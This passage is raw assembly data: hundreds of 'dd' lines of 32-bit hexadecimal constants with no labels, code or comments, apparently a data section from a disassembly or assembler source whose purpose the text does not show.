dd 0E0B5689Ah, 88CA64DBh, 90F000CEh, 987718A9h, 0CC0016E5h
dd 3B531755h, 7DC4EC3h, 0CA826DBBh, 75E10104h, 0BB807ADFh
dd 0FF61Fh, 9E34A189h, 6CD15C10h, 0D6F84350h, 6E393A77h
dd 3C590081h, 3941365Fh, 8D801F11h, 0F6508075h, 5117F70Ch
dd 3FA27800h, 0C4CEE8B2h, 86AA001Bh, 2536208Bh, 9909D7CAh
dd 81B9E291h, 0A4B6FA3Ch, 8B00EC2Ch, 0E75997F7h, 8C286F8Dh
dd 70EBBE3h, 60D93E5Fh, 1150B2Dh, 0D84B2A6Ah, 0FE6905C0h
dd 0C0B584F5h, 276CD25Ch, 6A28667Ah, 4A00E815h, 8E4E4F18h
dd 785ACBDh, 64D61FECh, 9F9D31A8h, 819D70D2h, 0E0DEEA00h
dd 3410997Fh, 310B0057h, 367A04C6h, 0F1F09C0h, 0B9C019E7h
dd 8677E8A2h, 0FA2100AFh, 8C4C1052h, 0C40068CAh, 0F0421B4Bh
dd 0F70E84h, 9C44D33Bh, 0DE867135h, 0C67FB11Fh, 494C2A45h
dd 906DF0D1h, 34583D08h, 0CE781EC8h, 3E7BF040h, 0FAA69Eh
dd 0AE452988h, 0E05DF3C9h, 80477427h, 18753B88h, 43EEE1E1h
dd 7AD7888Ch, 0CAE406E2h, 28774735h, 0D4AD1513h, 56751704h
dd 28764980h, 0CEDE00E2h, 79AA1237h, 843C1517h, 94F2024Ch
dd 0D5654248h, 0E8A5E1E1h, 8F00714Fh, 53D7C52h, 9098D04Ch
dd 0BF0D009Ch, 0B6AB2D36h, 0E5F4CF4Bh, 0DC9FD8C0h, 1C6855Eh
dd 10EA9E9Ch, 284391BAh, 30D60030h, 4FBC8ED1h, 0EF192703h
dd 0DA771000h, 5800CA5Ch, 3C48A497h, 70EF445h, 0B6895985h
dd 0BC04EF8Fh, 7779808Ch, 18B888DCh, 0F6A3500h, 0AA052F10h
dd 0AE7D029Ah, 4DF5B063h, 844AB481h, 8023CD8Fh, 686F0C50h
dd 4CBB9C34h, 0B4157C0Eh, 487AD470h, 724CF6h, 9E028A50h
dd 0E508A061h, 66DD22E8h, 9170CAC0h, 13503490h, 8B22DECh
dd 0F80F09C0h, 2AE905h, 8138B9ECh, 37FF1BAFh, 71CFE0FAh
dd 4006C32Bh, 0CD28F6D8h, 0A7F4EB03h, 90ACE46Bh, 0E65626FAh
dd 0DDA0002Ch, 13D8D2A4h, 7E1C8AB8h, 1CE40948h, 55AAEF84h
dd 698020D4h, 0E6511480h, 421896A0h, 0A40093B9h, 0E85AC741h
dd 3A1C079Ch, 0C9C0DDh, 83B2593Ch, 600C3D04h, 0C281E7D0h
dd 0C0EE146Bh, 650B6Ch, 0E2011949h, 5B6CEFC6h, 20B90600h
dd 3AD8A78Eh, 9C91F8A9h, 4974139Ch, 0D1003438h, 7A4BE73Bh
dd 58E3D02Ch, 0B7642200h, 268DC44h, 0B4EE82E4h, 29C05C7Fh
dd 0B600D44Dh, 0C6A36FC8h, 0FE84D3h, 8CF8B4F2h, 91B95DCEh
dd 0FC7C3Bh, 0FA3DC4A2h, 0C55A80h, 89BBD88Dh, 975ED745h
dd 0C883E00h, 0CF1E0393h, 6CF85Dh, 24193C54h, 9BD384FEh
dd 0C6A48200h, 4FB8BDDAh, 7FA2004Dh, 0C1E605F6h, 0A30F682Ah
dd 40D5F0B5h, 4E631E5Eh, 7137F79h, 89C0B1EBh, 19A2A05Fh
dd 0B60022BDh, 7012B0B7h, 1C25D7CDh, 40A8D60Ch, 0E753B295h
dd 0D90F078h, 0BA817300h, 60D3CE42h, 0C48E85Ah, 0D4466E9Ah
dd 95003B10h, 0D979148Fh, 13FBDB7Fh, 12534Ch, 94EFE0DEh
dd 10016EAEh, 9246799h, 49D4765Bh, 1E11008Fh, 88BCD39h
dd 0E9E492ABh, 18DD4F07h, 0C0903E4Ch, 46513Ch, 3D1EB50Bh
dd 70E2BA8Ah, 0E896BC30h, 0F8D01B76h, 5C110062h, 47423641h
dd 330CDC4h, 0D7C89450h, 68971D0Eh, 0DBC28098h, 1C4D464Ah
dd 75FBE00h, 0DF7BECF7h, 4FD80089h, 4558CEE3h, 27008DE5h
dd 79EB83Bh, 3621A6h, 7F29C280h, 2F75884Dh, 0A700B9F8h
dd 80A2531h, 1850FD8h, 3C1DCFAFh, 0E4C6A1F5h, 0D30030DBh
dd 0F2842F8Ch, 0CF3316h, 89902C8Ah, 1C4962D5h, 0DA8C5600h
dd 161D5017h, 47B00B2h, 740EE103h, 3E069EAAh, 7034B86Ah
dd 0EC830010h, 6FBBF2B1h, 9A1FB0A0h, 0E700752Eh, 8133800Fh
dd 5BC200F8h, 0FB6CEDEEh, 6100CAFDh, 9B38652h, 1DD3A98Eh
dd 4070F6D4h, 711023B6h, 0E603162Eh, 7A10D17h, 0C974F881h
dd 139F0161h, 2479B7A8h, 0C89D7011h, 7277D400h, 63DEB83Fh
dd 4FF600F7h, 18E74D15h, 2E00586Eh, 74025069h, 0D6BFC5h
dd 97EB5F4h, 893038B7h, 37971800h, 0DE53F6DAh, 0D510046h
dd 0AC1EB85Eh, 0A700581Dh, 14A1A4E6h, 0C03B9E40h, 0B4296270h
dd 110EEEB6h, 47FCBFF6h, 738033AAh, 1D13CB22h, 0ABE03Bh
dd 0F8A11EDCh, 1C00B2DBh, 3F91AD42h, 30C318ACh, 1EA8140Eh
dd 0B0072F3h, 0EC3EA6D0h, 398553h, 335078CFh, 6DA4B42Ah
dd 642CC300h, 251BA730h, 8BE0EF7h, 0F2000321h, 556BBA17h
dd 9A21200h, 0D2FBC093h, 4551037Ch, 0AA81CE66h, 14C9A6F0h
dd 2CAEB900h, 4A7CD335h, 5FB800EFh, 6452A7FFh, 1D037501h
dd 0D1C7AEDAh, 4824E832h, 0EAC60019h, 0DE968322h, 0B978ADB2h
dd 41C3FB00h, 6933B49Eh, 8890C0h, 0D9C199FCh, 1672D818h
dd 9FE3CA03h, 88F6F54Ah, 639AABh, 0D903B0EDh, 0BFAE2173h
dd 1ACDE900h, 0F8E02981h, 0CEE860h, 57C1EE66h, 95DCF97Eh
dd 0C700AE78h, 5E5DBF37h, 0E4D599C9h, 358C03E0h, 0B6335CDEh
dd 5B582800h, 4D1ABC77h, 8A4A3E1Bh, 40688D04h, 867081A8h
dd 5E0D397h, 0DD00A437h, 7D8DCF66h, 232624h, 3EAB0E93h
dd 0CC3F3C70h, 2A117B01h, 85DF29BEh, 0B09A8730h, 1EE26Ah
dd 0DD01F013h, 893BB6C8h, 0FC00667Ch, 1C7514E5h, 1A65B9h
dd 43ADC431h, 8621B503h, 0F3000B7Eh, 675F5746h, 97D588h
dd 0D80E89B4h, 939EAB76h, 0C6007771h, 484AA4BFh, 1785FE54h
dd 7BCB249h, 0E0C90A50h, 0E299E733h, 0F6912C3Bh, 4FC01C00h
dd 0A8F2678Fh, 6EBB0036h, 0AB1573A3h, 2F2C5922h, 2A00FE76h
dd 84D2F97Ch, 57851D18h, 90018293h, 44421F6Ah, 0E621EC40h
dd 73535500h, 0B1E0C650h, 37D403B6h, 0C72ADE90h, 3ECBBC88h
dd 14EBB0Fh, 18AD8013h, 3DDEC5B7h, 1E00CD9Dh, 83E808DDh
dd 0F004599h, 86981673h, 0E0EB8D1h, 0CB176FA9h, 0AFDA18E1h
dd 5E52C463h, 0FE2BD812h, 708C5A10h, 0ED1E2501h, 0E15DE019h
dd 0F180F8h, 0BEFF9C09h, 0B557057Dh, 0E07E871Dh, 5876DAC1h
dd 0D8F89866h, 5C5100D4h, 0C1D23D05h, 0DDB84299h, 901B3B00h
dd 0EB72E318h, 98F51E62h, 0D2F83088h, 1501C8B3h, 79B45F9Bh
dd 0C5D020CEh, 2DA5006Ch, 0C88CB0B6h, 5448B2CFh, 1FE72C4h
dd 58754600h, 0C4D60D6Ah, 0B26700A7h, 6091B3D7h, 0E5001B1Ah
dd 0D13DD3C2h, 3CC3F364h, 0C580EDADh, 0B55695B2h, 1E056231h
dd 9AF4445Bh, 33ABCD00h, 1CD85291h, 40FEC843h, 0D9DA3127h
dd 95008C32h, 0CA8A095Ch, 0E840AFh, 4AE248B3h, 7507C396h
dd 6E52B500h, 68D0CC39h, 0D49B0042h, 0E10228DCh, 0A74557Ah
dd 0AC993807h, 5F0113h, 0A5A8EC9Ah, 4C6E0F03h, 5820CDE7h
dd 922B9C41h, 650064FAh, 0B7BAD1D6h, 0C33A3Fh, 0B57730Ch
dd 33D32661h, 3651BC00h, 7A9C6DF0h, 0CDB835h, 3C1272A1h
dd 0F43EA5E4h, 0BFC46600h, 0B3FE3ACCh, 0B5BC0031h, 671114A0h
dd 0D0E1C3EFh, 5C147843h, 80C4B7F9h, 0DD4B95A7h, 527C398Fh
dd 2E00D8C9h, 0CE6024FEh, 1413BAAAh, 170C612Dh, 13A7EC41h
dd 0BA2A0ABh, 1800EC83h, 0CBC73669h, 98A1FD1Dh, 0C640DE9Dh
dd 5B4CB750h, 0FC0FE70h, 498EF0DFh, 9D200200h, 77EE6C0Fh
dd 29D38A00h, 0E5E42B2Fh, 78130052h, 39CE65FDh, 0D74C8228h
dd 0FE4D005Ch, 5046034Eh, 343B1FFCh, 0AB2C80B5h, 25DB7135h
dd 0BDBBBE00h, 0C3F84DAEh, 73B20014h, 2D2F9255h, 90E29A8h
dd 608BCEA2h, 1A7CA41h, 4CE84803h, 0A102B407h, 0CC78400Fh
dd 70D4C99Eh, 47770CD4h, 1D880E8h, 0DF2E16A4h, 0D04019CCh
dd 0DB312782h, 9AC22158h
dd 89421C40h, 0B41D1DA1h, 251300A2h, 1F24DDC5h, 0BAC74300h
dd 2A1E0B83h, 166D01F2h, 0C2062F05h, 3AE1C8BBh, 1402CF01h
dd 91BD5508h, 0B5D0E4h, 0B6B35C9Fh, 0C4A5C76Bh, 1FDF413Fh
dd 0BCC0C93Eh, 0D4019519h, 452A302Ch, 297C4291h, 11803841h
dd 8C885FAEh, 0A1714E1Dh, 63B41205h, 5C0B95CCh, 623500F6h
dd 3A89BEE0h, 0FE06D88Bh, 491C8855h, 1D257700h, 60F061DEh
dd 0CA5900F3h, 913D765Fh, 7AF28594h, 15C3D303h, 0E01C8B16h
dd 7BECF5FFh, 5A870078h, 19795F48h, 9791AC5h, 51CBCA00h
dd 302F1C4Bh, 2725584Fh, 0DBEC3D00h, 499317C6h, 0C00CCC00h
dd 55E30596h, 293A00B9h, 106A1583h, 0B800D43Dh, 7F38C7F8h
dd 12638404h, 0F057EE82h, 0BD00E643h, 531822DCh, 26061DB9h
dd 16477323h, 0D8885AA7h, 8C89043Dh, 0B470A0F0h, 96FBD7h
dd 61DC04E2h, 0DEB71CBFh, 6864E0Fh, 0CE00FFC1h, 0BA779631h
dd 836007DFh, 0CEB22C75h, 0CC9C05D2h, 4DE04E65h, 2B9E3C83h
dd 89C45110h, 0D611BC81h, 8A2982CCh, 8063F253h, 0ADC16DBCh
dd 794BE0E3h, 0C2B900B0h, 0AF4ACBA4h, 8331FAE2h, 0D515615Fh
dd 0BC726043h, 7A184314h, 0E1191928h, 1F129B00h, 0D4B89DBh
dd 70D352CAh, 7BD9F10h, 62BC54D8h, 5C06534Fh, 44E81488h
dd 5F3E4E20h, 61C00B2h, 11C370C4h, 0A6E344C1h, 40718A0Ah
dd 56634CE7h, 0D259E08Bh, 501F08C3h, 0E701C561h, 0E265D010h
dd 0CBA9448h, 0DA68C29Bh, 43146CA8h, 1888BFB2h, 0F6F12677h
dd 0B07429CCh, 7D0421F8h, 0FA027761h, 6CE51085h, 8CB80037h
dd 8B6F0ABAh, 57F21415h, 585013BCh, 22FB1403h, 0AE2921C6h
dd 90683308h, 98C9846Ch, 5C42A248h, 2118245Bh, 3611EF39h
dd 6AA2110Fh, 0BF806817h, 24B7FFEh, 637200A0h, 87A3CDECh
dd 3C7A7A4Dh, 0EB67CF00h, 0E48E73D1h, 39C00093h, 8CAB4953h
dd 7200A726h, 0F9359154h, 0EF08EBh, 143D5D63h, 29E09A8Eh
dd 0C6DCE807h, 12C0516Ch, 1D456AD4h, 79484Ah, 3B9347B4h
dd 98008D9Ch, 58D51BBDh, 9A667Ch, 48922D5Eh, 0EEFEF3BEh
dd 4F8C2000h, 7ADB8969h, 948E00EFh, 0F2F7A755h, 0A1073CA0h
dd 0ECD384CBh, 57975B40h, 3250009Ah, 0C5AD395Eh, 0A91491E5h
dd 0D04E29h, 674123A3h, 0EB96A18h, 0B19A124Ah, 4F63C71Dh
dd 0FB8E803Ch, 8F009C4Dh, 11B3DE45h, 0BCA1D9Fh, 5B376830h
dd 0A3F32600h, 0F80B79EAh, 12FEC9Dh, 9BAB3AB1h, 94B681F0h
dd 468038FCh, 87A45401h, 0EB0099CBh, 3898214Ch, 7FB83CF0h
dd 3CDF8EAh, 3D3FD884h, 0B1C0E6C9h, 0C790380Ah, 24837300h
dd 591AAA10h, 30DAE416h, 78112C64h, 5E074093h, 0D8EF763Bh
dd 0F85F2303h, 329B79h, 72AB0817h, 2D4CE488h, 2305DF00h
dd 720DC45h, 315F2EBh, 0F58E0287h, 6D88575Dh, 95000E65h
dd 0B7593371h, 0ACF4C62h, 0DFD396FCh, 3A6501F2h, 40605667h
dd 2B1127DEh, 0B4702600h, 0B6282A6Ch, 0E01901FDh, 4BF279EEh
dd 5F94F87Eh, 1FFAE15Ch, 31C335E3h, 0B0DB86C9h, 484BB353h
dd 0A3079CEDh, 80D3E10Dh, 0E0234217h, 72DF10Fh, 9695E0AFh
dd 4A7BABF9h, 1613AC6Dh, 7600F33Fh, 5923CCA9h, 0A0B10F54h
dd 0C7458D36h, 0C1758060h, 3A1F73FDh, 47031481h, 0D0435118h
dd 322C49Ah, 17348AB1h, 48A825CEh, 700BD924h, 15ABD7Eh
dd 9AE9833Eh, 7527DAF4h, 88782Eh, 0EEC0ED8Eh, 3035C13Eh
dd 0C85EA100h, 18B32221h, 4DA017C7h, 6628216Eh, 8022DDh
dd 0BF5B1550h, 8C217Fh, 324BD898h, 0B6D94F81h, 3B0EEE05h
dd 0D800E1AAh, 8EE74482h, 11E30060h, 23FDC467h, 0C100984Fh
dd 0AB5A7CAFh, 2C2BF0h, 28AA350Ch, 0EF547870h, 88B89A12h
dd 19C40A00h, 75AE8AE3h, 0A9FD0408h, 90C045ECh, 551092E8h
dd 5B87A000h, 0EF13758Ah, 224AB9h, 6BDDBFBCh, 8002A26h
dd 91F4DABCh, 24137B9Ch, 0A6F1CFh, 7339C553h, 9490F96Ch
dd 0D6001990h, 74236DBBh, 88EADFh, 0CAB1F89Ah, 52775AEh
dd 0C5B9200h, 5E8EE88Ah, 41693071h, 0F664CC30h, 0D80E221Fh
dd 38F76680h, 3F19DAFh, 791B695Dh, 0E1B84DA9h, 5A036B81h
dd 59FEA523h, 544100BEh, 75C7A880h, 2604DDCCh, 0DA13400Bh
dd 3758C8h, 6BF5579h, 0E7090A8h, 0DB006179h, 0D4F609B5h
dd 72A7DE50h, 33EA0145h, 6C8E19E5h, 0CEB080C3h, 404FCCE8h
dd 12091DDDh, 5C4480A9h, 83B5D7CAh, 9E3E1D00h, 0B464D2F4h
dd 0E3E40390h, 0E8C15E26h, 0A82DEF98h, 369FB900h, 75D2975Ah
dd 0DF9C18EAh, 0B1E7C067h, 6A147F00h, 12A1E95Ch, 4077FDh
dd 9F82F95Ah, 7D501117h, 0DC78343Bh, 6920008Fh, 0E137D9A9h
dd 0FBB300C1h, 7792F436h, 380081ABh, 3328CD67h, 3E8F948Ah
dd 46000C5Dh, 60A7D3EBh, 0DE5805D9h, 29D174Ch, 0E946680h
dd 0C1E00066h, 6E418BBFh, 337F5443h, 64C55D03h, 0C06FD092h
dd 0AE5505h, 0BCF398A9h, 81DD6006h, 744CB7E4h, 265113FBh
dd 0DF7EFC02h, 3EB066A5h, 9A0020D4h, 3FCBA37Dh, 5B00C436h
dd 6501B676h, 0C136A5Dh, 3B9D3AAFh, 6D005A40h, 973CDB52h
dd 121D57A1h, 338AE06h, 7B6E420Ch, 17703190h, 0E3496B18h
dd 3CAD05D1h, 0CC0E6A02h, 79A134D6h, 26C957F6h, 0E0007978h
dd 9BC089CAh, 0B82D9Ah, 30DA6371h, 442C8FAh, 0D63F4503h
dd 7C9DF80h, 0A8DC46D1h, 0A8224448h, 0D23200A5h, 0DDA32373h
dd 3CD3FC17h, 0F8134EEh, 6549B374h, 9067F081h, 710EBFE0h
dd 0AC290Eh, 9992C19Bh, 0B34600F0h, 3450843Bh, 0D500EC8Bh
dd 3D121CE2h, 9057EF1Dh, 9A300691h, 11D6EDE7h, 80CA583Fh
dd 6B0629D7h, 0DE0F97h, 0CD046130h, 0B32D110Bh, 0F6748900h
dd 2FE739F4h, 5972B8h, 0B9543A70h, 155788ACh, 1180C00h
dd 0BB4EC956h, 0DE390068h, 33968E7Ch, 0B4003CBFh, 7A22F373h
dd 9EFF617h, 85AEF12Bh, 55490460h, 4D216802h, 400DB06Fh
dd 1638ACC0h, 39D9117h, 16603EE4h, 0CD2731E8h, 0AA09B801h
dd 0E4703559h, 3DF21360h, 3D2C7662h, 5F8A0019h, 0AB470702h
dd 67B65501h, 0BC6B193Ch, 0E5907185h, 5008A057h, 0EDD39809h
dd 0AA0812Dh, 7761C15Ah, 71E720h, 4F931B99h, 79E9586Dh
dd 0EC18022Ch, 57613E00h, 166CE6h, 0E8D63BF8h, 0B8FDC75Ah
dd 67003FF8h, 0C12BE7B7h, 460CDBh, 9F13721h, 0D1E21173h
dd 0F79A3114h, 0B2EF1CBCh, 804BED49h, 60CA6514h, 31D31CF2h
dd 0B38A805Bh, 9D28A3D2h, 0C2E892E4h, 12145E24h, 0E856BE00h
dd 4A93CDh, 0E01B6566h, 6D33B958h, 5707DB00h, 71B0AD8Bh
dd 0B5010125h, 0D1F5CEB2h, 7A956075h, 5C919F00h, 0A40E1893h
dd 0FCD60124h, 0FE29FD76h, 0A8543007h, 0EB4D0F03h, 0E08D6649h
dd 22014A6h, 6C50FBDBh, 0ECC0D470h, 550003C1h, 9AE62494h
dd 0E3FE264h, 1A362F8Fh, 5880C3ABh, 0F1225BB6h, 0EC00A6FAh
dd 0CB771052h, 3C8F733Dh, 3080BF6Ah, 1D8E0B05h, 4538D311h
dd 9C64D008h, 7B0089B0h, 0A6B3F73Fh, 96816Eh, 0D6396CC9h
dd 0E1F3A31Eh, 0FC976500h, 6E05ACECh, 8CE70258h, 0E451D528h
dd 0A2B180C0h, 0DE4F030Ch, 0B85710EDh, 7CDC0098h, 92E08CA3h
dd 0BC0076F6h, 93B90711h, 2CC22F70h, 93BCBB47h, 5540336Eh
dd 810485ACh, 0F4824A70h, 8E0013F6h, 0AFCF6C4Ch, 3C902Bh
dd 0A414C3A1h, 0E45CCD65h, 0B67470EFh, 18F35F0Ch, 84D959F2h
dd 63827F16h, 0AD734041h, 0AAF1BAACh, 0EAB480DEh, 7CC40FCh
dd 5DD3B486h, 0E839105Eh
dd 0FA003E12h, 4325747Eh, 7CF7ECh, 5BC916E9h, 0DD504453h
dd 4F0F94B8h, 6B37CD29h, 0DB9E034Dh, 0B7A3B83Fh, 64390057h
dd 597C569Ah, 250C6BBAh, 0A044CB91h, 850384CEh, 52AF41Fh
dd 5EE2804Bh, 0C11132Dh, 9A00BEB0h, 9579EDA6h, 15E8C7F4h
dd 80DDCF66h, 4FAF676h, 0DD0059E2h, 6D919457h, 0AA50BEh
dd 0F39E8632h, 0D773853Fh, 3003D7Dh, 9B9694Bh, 0E055BBh
dd 0A9CD526Ah, 0D0832B30h, 0AED28B00h, 0F0E996C8h, 240B0556h
dd 0FC7FE13h, 9F3DE2A2h, 0AA36C16Ch, 400342A7h, 0C389EBA0h
dd 64B12B03h, 0C837A356h, 997FA5h, 1CA77B8Fh, 0F312F724h
dd 0CDFBC40Eh, 3F396025h, 7592E3Ah, 90FD1592h, 2948CCA5h
dd 1CB87A76h, 0B3C4803h, 0E827536Bh, 0DAB332h, 0E3DC5B84h
dd 83422681h, 0CAF3A200h, 3BA0396Dh, 2E4FFBFh, 38EA004Dh
dd 68FD0995h, 6C00741Dh, 45885AADh, 556B41h, 0F1E9474Ch
dd 0C9032724h, 0E521C700h, 0DFBEFEF5h, 308983Ah, 6D4E4257h
dd 0B6005E19h, 342DECF6h, 0E8B1B2h, 0AE81E267h, 0F8E6F498h
dd 1F5EDEF3h, 5FFA5B00h, 3C7E5Ch, 0C524DDBh, 0A9CB7228h
dd 1EF68B0Fh, 0B131E0FDh, 76B6516h, 0DF9A624Bh, 25BE30FBh
dd 9301EB2Dh, 49EBBF8h, 0C080F2BCh, 0CB7C5EE9h, 52003BBFh
dd 2657926Eh, 123ECA3Dh, 811440h, 28EDC5B3h, 0FB0CA5CFh
dd 904774E2h, 0B2C0611h, 608CB684h, 0C0592003h, 8802CF82h
dd 62FE90h, 49856C38h, 0A88343B8h, 0BBE328C0h, 0E105F537h
dd 115261CEh, 0BD34E0h, 5C5A120Bh, 9BDC3D8Fh, 4CF2D51Fh
dd 8857C4C0h, 38154E6h, 2EC1CB21h, 0B5C005E1h, 7000A450h
dd 7BFF76ACh, 0D66315h, 0DB166D71h, 17F05C2Eh, 2700477Dh
dd 6C46D13Ch, 0B03294D7h, 0C070BEh, 59DDEF53h, 204970FAh
dd 0B99CF300h, 3C841AA5h, 521F00F5h, 0FBD6539Ah, 69038DADh
dd 605A5C05h, 0D8EFFB5Eh, 0B2E75C3h, 847ADD96h, 712F7C01h
dd 13F040B0h, 6700BEA4h, 8A92B578h, 19D16Ch, 752D93BBh
dd 30257EE1h, 648D1200h, 0D8B77790h, 9A8C0020h, 606A130Ch
dd 4000EB7Ch, 9FD43748h, 28B6DDh, 0E1AD04B4h, 68B1AC9Eh
dd 931C2D2Eh, 0BAF8630h, 63E2DEh, 678BA390h, 95553CD5h
dd 2ECAFB00h, 0FABE8F19h, 0F371009Ah, 1CE8D104h, 84500378h
dd 0D9008B90h, 421F0E66h, 2E5991h, 0C6F811B4h, 0E162BC10h
dd 1EC86700h, 0D2F454A6h, 40CB00E5h, 6E603F25h, 0E977BA9Dh
dd 8D4AE100h, 22CD55B7h, 332D018Ah, 4596DF5Eh, 75EFEC86h
dd 0C900057Dh, 0F87823F5h, 0E0686Dh, 0E8B87BC5h, 4E62C393h
dd 0C43BB778h, 48BB0099h, 0A109963Fh, 6EF70015h, 42DBD185h
dd 4E145289h, 0A4D3C0h, 3D10FDE5h, 964E365h, 9D295CD4h
dd 61523C00h, 0E80F6217h, 0ACE5FCC8h, 7718A6h, 37CEDCC1h
dd 0CB5F3045h, 66FC1E14h, 2A180599h, 0C0004668h, 0BD3A2D56h
dd 0B6E607CAh, 0C4596A10h, 6F848033h, 84001951h, 94031D5Ah
dd 54B3B97h, 0D13255DFh, 247BC77Eh, 549C80C3h, 7F48B0ABh
dd 178E1F8Fh, 663BD380h, 8A82E7h, 74C4F82Ah, 0F0BF9DAFh
dd 1F599814h, 88E039D4h, 182D750h, 9E2C55Fh, 658DFCD3h
dd 4011C9Ah, 0C078D789h, 908343F9h, 0B6B03068h, 181CEFC0h
dd 0A9942207h, 0C161727Fh, 83CC1BC4h, 0F1611471h, 7A04D489h
dd 42BAC3h, 0D192406Dh, 0E1C60001h, 0C70535B9h, 23C3015h
dd 4B71124Eh, 0AD5CA030h, 6390093h, 0BC136524h, 3004352h
dd 0A1E17E79h, 0E93BDCh, 99E36C7Ah, 9250AB59h, 4296A400h
dd 11462AB1h, 84E92FDAh, 1C4C5AE0h, 1B93Ch, 0D9EE5B77h
dd 2D3FE3h, 5A709F0Ah, 0B5A59BA0h, 80DD523Dh, 0B904F714h
dd 6FFF54h, 937F3459h, 82B77BC9h, 0D1B2B600h, 3BCED2D5h
dd 4AB41F29h, 0FE3D400Eh, 7EB338A0h, 20DC2300h, 0F570BA45h
dd 494B006Fh, 0E230B24Eh, 3100809Ah, 0CE190952h, 1D81DB47h
dd 1C9010h, 55FA6169h, 271248F2h, 7D00DCBBh, 221189F0h
dd 2D7D126Fh, 46580373h, 2CE89025h, 7B80D2E6h, 48B60F6Bh
dd 5620EF68h, 0DA5D6F09h, 0DEDC8603h, 0F87B055Ah, 30E827D1h
dd 20CC44F4h, 1004F09h, 80B48AAEh, 5EC245h, 0A96732F8h
dd 0C7CF8851h, 5A18050Ch, 260C786Ch, 80808106h, 0E1A62F98h
dd 0B202E499h, 0B83FFC5Eh, 0A108EAEh, 0DD001C07h, 0CF9CA03Ch
dd 0B8A10D74h, 0E1183522h, 8610BE94h, 0C1DE9BC0h, 1B5B1820h
dd 59EFE96Ah, 150C56Fh, 2887B2Ch, 9F67AAE0h, 0F7030CD8h
dd 7D622A76h, 0A332A347h, 0EF08074Fh, 0C042456Fh, 0F730DB97h
dd 0C1937718h, 14CF8E70h, 501F05CEh, 70B80937h, 2EC9886Bh
dd 0D50A7474h, 686A972Ch, 5A44D038h, 0C285B62h, 32646091h
dd 0A2043A39h, 82627E00h, 0D4CC3518h, 4C111901h, 817B65B9h
dd 0FD777F4h, 958DE35Ah, 0AC60E48Fh, 0F1239C87h, 0B8548200h
dd 3C743F5h, 0A73205A1h, 0EE9205B7h, 0BF813EC0h, 28FE84h
dd 662558ADh, 59805260h, 0FC1C4BFEh, 0B200E371h, 6258CB63h
dd 0A7E83Eh, 73CF38FAh, 0FC5B4860h, 1B581760h, 0FAE2202h
dd 1072114Fh, 0E8248E60h, 527803E1h, 933F6900h, 702F2996h
dd 0A5DC01E6h, 3920F838h, 0C5D447C9h, 32D04074h, 581EB613h
dd 2A70400h, 94E0F8F5h, 838B0265h, 0C65D5C46h, 0EF19CA0h
dd 2C06CAB5h, 44818C9Bh, 21F56009h, 27B5B691h, 0AD402E03h
dd 8830ECh, 70AE3948h, 0A6B7BF85h, 2FA3BD0Ch, 7068162h
dd 7744B6F1h, 9BDB131Ah, 505CCBE1h, 267546ECh, 0BB350400h
dd 6268ADFDh, 226490D7h, 0A5027FD8h, 0F72549D6h, 832C43D5h
dd 89083085h, 498FCB21h, 571C300h, 0CC3D18D3h, 0EB781D48h
dd 11C5002Eh, 8B667E44h, 0F93632F0h, 2218F83Fh, 0F8037034h
dd 760B6ED7h, 913FC11Eh, 6162FCh, 0FDBFB6F4h, 60047FC5h
dd 8633E700h, 78C65A22h, 256B009Ch, 0F891244Ch, 26008F01h
dd 2192E0BFh, 37A705Fh, 0BD527BA4h, 7D86B8Ah, 5B053646h
dd 803E09A0h, 0C8AAAAC0h, 20B0086h, 2F7008BCh, 0D700346Bh
dd 6EB35B6Ah, 0EFA25F5h, 6D500DF0h, 1128D106h, 0F0043352h
dd 0C02A7DC9h, 0E750B410h, 8EFC4D47h, 0F6CA31Ch, 991092C0h
dd 1D82F264h, 45BC90BDh, 8028FDEAh, 0ADC7091Ah, 21AFDB00h
dd 42A2C5F8h, 8C1F0175h, 5A9F1BBFh, 0CCE5ECA4h, 68DC3Eh
dd 0ABE97AD3h, 7D1E5878h, 0E76C3EE3h, 3304A700h, 0F75D2D5Fh
dd 652AEB02h, 4087E06Bh, 6D74C6h, 98B09135h, 0CF3385EDh
dd 5CEC9BA0h, 0DDF2E5F0h, 695A8300h, 9FC99A35h, 6A1A3EC8h
dd 569C8880h, 2BDC78ADh, 0D7CCA400h, 7308EA9Dh, 0DEAC05EDh
dd 0C09C3453h, 0D05DBDD4h, 0F23AD900h, 8F73DDB8h, 0F15B0397h
dd 9372F0E5h, 1AE903Ch, 9E82A984h, 4920C02Eh, 603D1F98h
dd 965B002Fh, 63060F22h, 3809BB02h, 0E04402C6h, 0FC088A15h
dd 0A0640074h, 418DA615h, 0B0084B5h, 5418DA16h, 53DF7Eh
dd 11975140h, 0CF25935Ch, 0D84A7D2Ah, 0F7F17C61h, 24310585h
dd 2ABD308Eh, 63737B60h, 6E604B82h, 0A2DD4CA8h, 0A43B54BFh
dd 27F10069h, 7F0D5795h, 670F976Ch, 0A0F4CB8Ah, 0EFAC7624h
dd 22B9187Bh, 0BFE5309Fh, 0A5469906h, 8132E8h, 0A075C67h
dd 0C10478B5h, 5BADDA00h, 0F6136EBDh, 80B90041h, 837200Fh
dd 0CB00DD82h, 58843C23h, 185D69Dh, 0A9951BB7h, 60085C36h
dd 910010F3h, 822D6764h, 0E2C60Fh, 14A6AC34h, 0C3AED6FDh
dd 9A00AFE8h, 1F7DCC55h
dd 484DB3h, 0CE683D9Eh, 0DFD89725h, 4E3C50F6h, 0CAD963Ah
dd 0A19CD102h, 9470400Eh, 0EDD0F463h, 1AB0D4h, 547E5849h
dd 316CE91Dh, 0E0D75B00h, 4A5EC7E3h, 3F9E0063h, 585671C6h
dd 6C0086A1h, 0FA29251Dh, 584D7EC8h, 0DA0AFDCDh, 949B73h
dd 1F6549C4h, 50033DB2h, 0D0F91E9Dh, 5233D899h, 0A0B600E2h
dd 0A95939EEh, 0DF00EDE1h, 0A806F98Fh, 1E45ACC4h, 80DA2D21h
dd 13F5D5Ah, 8628F476h, 2BF8C84Fh, 8BFEFA00h, 18B4CCF6h
dd 0DCE2487Ch, 0B7F89900h, 818E1DCEh, 50004491h, 0FA6D04A5h
dd 447503C4h, 6A8CEB18h, 0EA0BA805h, 0A020AA52h, 1322C7CDh
dd 42E8BDh, 330A7F98h, 0EB012C47h, 8DC9DE6Ch, 0B1F44E6Eh
dd 1F92A0F4h, 321B0037h, 0CD1E3387h, 8D18727Ah, 2160623Eh
dd 739400A0h, 1F43ACB9h, 0F0081F6h, 980A09DFh, 625B37h
dd 91FB848Ah, 1ACA993Ch, 0D0F4A500h, 0CC2F6CEEh, 73B61811h
dd 82C910C2h, 656D8C00h, 0CDF10912h, 56322651h, 0C8600027h
dd 8DAB347Bh, 3C8CBF50h, 0F0C020h, 744EBD4Dh, 980E7B26h
